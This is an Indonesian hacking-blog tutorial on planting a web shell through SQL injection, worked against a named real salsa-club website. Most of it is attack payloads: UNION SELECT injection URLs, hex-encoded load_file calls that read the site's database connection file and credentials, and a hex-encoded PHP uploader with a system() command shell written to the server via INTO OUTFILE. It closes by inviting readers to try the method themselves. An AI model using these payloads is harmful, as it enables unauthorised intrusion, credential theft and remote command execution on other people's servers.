Y00AOebLhlCX59D11qensmHJY7s Upload Shell in SQL Injection Created (c) by Princexells Seyka (Princelling Saki)

Senin, 26 Agustus 2013

0 Upload Shell in SQL Injection

oke kali ini saya mau share method uploading shell dengan sql injection. Disini saya akan coba upload shell tanpa susah crack pass and nyari adminpage. trik ini mungkin tidak asing bagi yang sudah berkelana dalam dunia attacking web.
Tapi I just wanna share here

ok deh terlalu banyak bacot..let's get started aja...

TARGET WEB :

 http://www.londonsalsa.co.uk



Tool...
- hackbar firefox addon (untuk mempermudah sqli)

 https://addons.mozilla.org/en-US/firefox/addon/hackbar/



1. bagian web yang vuln


  http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187




2. Cari panjang Column dengan Order by
Langsung saja dengan basic sql injection attack (mungkin disini agak kurang detil untuk basic sqli, mungkin Post selanjutnya saya akan buat sqli basic untuk memahami dasar2 sql injection)
lakukan order by sampai muncul error Unknown column in 'order clause'
saya coba order by 32 baru muncul error, berarti count column ada 31.


 http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187/**/order/**/by/**/31--



3. UNION ALL SELECT

Cari Column yang bisa retrieve data dengan union all select

 http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187/**/UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--


di halaman muncul angka 8, 9, 22 . berarti kita bisa lakukan dump data pada salah satu kolum tersebut.




4. Check version, user(), database()


 http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187 UNION ALL SELECT 1,2,3,4,5,6,7,group_concat(version(),0x3a,user()),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--


Di page muncul 5.0.51a-24+lenny5-log:[email protected]
berarti mysql versi 5, user [email protected] nama db salsamov_londosalsa

5. Check file_priv

Sebelumnya kita telah mengetahui nama user yakni 'root'. walaupun sudah jelas user root pasti punya akses write dan load di database tapi kita check saja apa benar punya privelege write dan load.
kita bisa gunakan perintah 1' UNION SELECT file_priv,null FROM mysql.user
jadinya seperti ini

 http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,file_priv,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31%20from%20mysql.user--




Di page muncul Y berarti punya akses load and write

 




 So..Ketika kamu melakukan sql injection, cheking file_priv sangat penting. karena jika kita punya hak akses write.
kita tidak harus melakukan dumping data username,
cracking password, dan nyari admin login. kita langsung aja lakukan write code php uploader ke directory yang writable.




6. Finding Path Directory and Writable one

Setelah kita punya hak akses write. Yang dibutuhkan adalah mengetahui nama path directory. Dalam kasus ini Mudah sekali menemukan path directory, karena page mengeluarkan error seperti


Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home2/salsamov/public_html/londonsalsa/functionFiles\
/ClubNightRating.php on line 69
jelas pathnya /home2 ...
[Ask] Bagaimana jika page tidak mengeluarkan error, gimana mengetahui path name nya??
[awswer ] Jika demikian cara yang dilakukan adalah menebaknya atau lakukan load_file (point 8 cara untuk load file) file penting seperti configurasi apache atau mungkin v-host biasanya di file ini memuat informasi letak path suatu web.

berikut beberapa lokasi file configurasi apache yang umum

 /etc/init.d/apache

/etc/init.d/apache2

/etc/httpd/httpd.conf

/etc/apache/apache.conf

/etc/apache/httpd.conf

/etc/apache2/apache2.conf

/etc/apache2/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache/conf/httpd.conf

/opt/apache/conf/httpd.conf

/home/apache/httpd.conf

/home/apache/conf/httpd.conf

/etc/apache2/sites-available/default

/etc/apache2/vhosts.d/default_vhost.include


kamu bisa coba satu2 mungkin aja ada yang muncul dihalaman..

untuk melakukan write kita harus tahu directory mana yang writable. How to find writable dir????
ok, beberapa web biasanya memiliki folder /tmp, just like joomla biasanya punya tmp folder. Dan folder ini pasti writable biasanya.
Dan untungnya kali ini web target memiliki tmp folder.
[ Ask ] Bagaimana yang ga punya tmp folder...?..
[ Answer ] Cari path folder gambar, biasanya writable,

7. Test write

ok Kita lakukan test write code ke directory tmp ,,

 http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,%27check%20sound%27,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31%20into%20outfile%20%27/home2/salsamov/public_html/londonsalsa/tmp/cek.php%27--



ternyata web ini melakukan filtering dengan stripslashes
[quote]stripslashed salah satu cara meng-handle sql injection, yakni memfilter setiap input single atau double quote dengan memberikan \ [/quote]
Jadi kasusnya sekarang kita tidak bisa langsung write dari address bar.
Jadi gimana dong kalau begini...?
oke...lanjut..

7. load File penting

kita bisa lakukan load file dengan load_file('/path/namafile') masalahnya ada single quote dan kefilter, so kita akan lakukan conversi path dan nama file ke hexa jadi seperti ini load_file(0xcodehexadisini). tambahkan 0x didepan code hexa path/filename
kita akan coba load_file penting koneksi ke database, biasanya terpisah file ini terpisah dengan nama koneksi.php or whatever namanya.
File koneksi akan dibutuhkan di file yang menampilkan berita, karena harus retrieve data berita dari database, jadi sekarang kita coba load file berita untuk menemukan lokasi file koneksi, biasanya kode phpnya
load file ini
/home2/salsamov/public_html/londonsalsa/newsListings.php
blok pathname diatas di hackbar pilih encoding -> hex encoding -> conversi -> string to 00ff00ff
jadinya seperti ini :


 http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,load_file(0x2f686f6d65322f73616c73616d6f762f7075626c69635f68746d6c2f6c6f6e646f6e73616c73612f6e6577734c697374696e67732e706870),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--



klik ctrl-u untuk melihat source halaman, and terlihat ada include file db


 

file db ini terletak di
/home2/salsamov/public_html/londonsalsa/functionFiles/dbConnectLOCAL-IGNUM.php -> konversi lagi ke hexa
next kita load file db tersebut


 http://www.londonsalsa.co.uk/clubNight_dips1.php?clubNightID=187/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,load_file(0x2f686f6d65322f73616c73616d6f762f7075626c69635f68746d6c2f6c6f6e646f6e73616c73612f66756e6374696f6e46696c65732f6462436f6e6e6563744c4f43414c2d49474e554d2e706870),9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31--



lihat kembali source page dan muncul ini



 
 sengaja ga full shot passnya biar temen2 nyoba caranya
nemu username and password db

8. upload backdoor dari phpmyadmin


Sekarang kita udah dapet username and passwordnya db, langsung saja login di phpmyadmin

Masuk ke salah satu database, disini saya masuk ke database test kemudian klik tab sql, masukan code berikut


 create table up (test text); insert into up values (0x3c7072653e3c626f6479206267636f6c6f723d73696c7665723e3c3f7068702069662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c245f46494c45535b2766696c65275d5b276e616d65275d2929206563686f2022677265617420756e79696c22203f3e3c666f726d206d6574686f643d27706f73742720656e63747970653d276d756c7469706172742f666f726d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c65272073697a653d273430273e3c696e70757420747970653d277375626d6974272076616c75653d27676f20686f6e6579273e3c2f666f726d3e3c70202f3e3c666f726d206d6574686f643d27706f7374273e636f6d6d616e64203a203c696e70757420747970653d277465787427206e616d653d27636d64272073697a653d27353027203e3c2f666f726d3e203c3f204073797374656d28245f524551554553545b27636d64275d293f3e3c2f7072653e);

select * from up into outfile '/home2/salsamov/public_html/londonsalsa/tmp/cek.php';

drop table up;





disini saya coba buat table dengan nama up, kemudian inserting value php uploader yang sudah di konversi ke hexa supaya tidak error di phpadminya. setelah itu write code php uploader dari table up tersebut ke directory '/home2/salsamov/public_html/londonsalsa/tmp/cek.php'. terakhir drop table.

yang butuh code php uploadernya ini :

 <pre><form method="post" enctype="multipart/form-data"><input name="file" size="40" type="file"></form><form method="post">command : <input name="cmd" size="50" type="text"></form> </pre>




9. Upload shell yang lebih advance

kita coba akses php uploadernya

 http://www.londonsalsa.co.uk/tmp/cek.php




tinggal kalian upload shell yang lebih advance. tinggal croot selanjutnya.



Ok....deh sekian tutorial selamat mencoba...see ya later


Artikel Terkait

Ditulis Oleh : Nyubi Crew

Artikel Upload Shell in SQL Injection ini ditulis oleh Nyubi Crew pada hari Senin, 26 Agustus 2013. Terimakasih atas kunjungan Anda pada blog ini. Kritik dan saran tentang Upload Shell in SQL Injection dapat Anda sampaikan melalui kotak komentar diatas.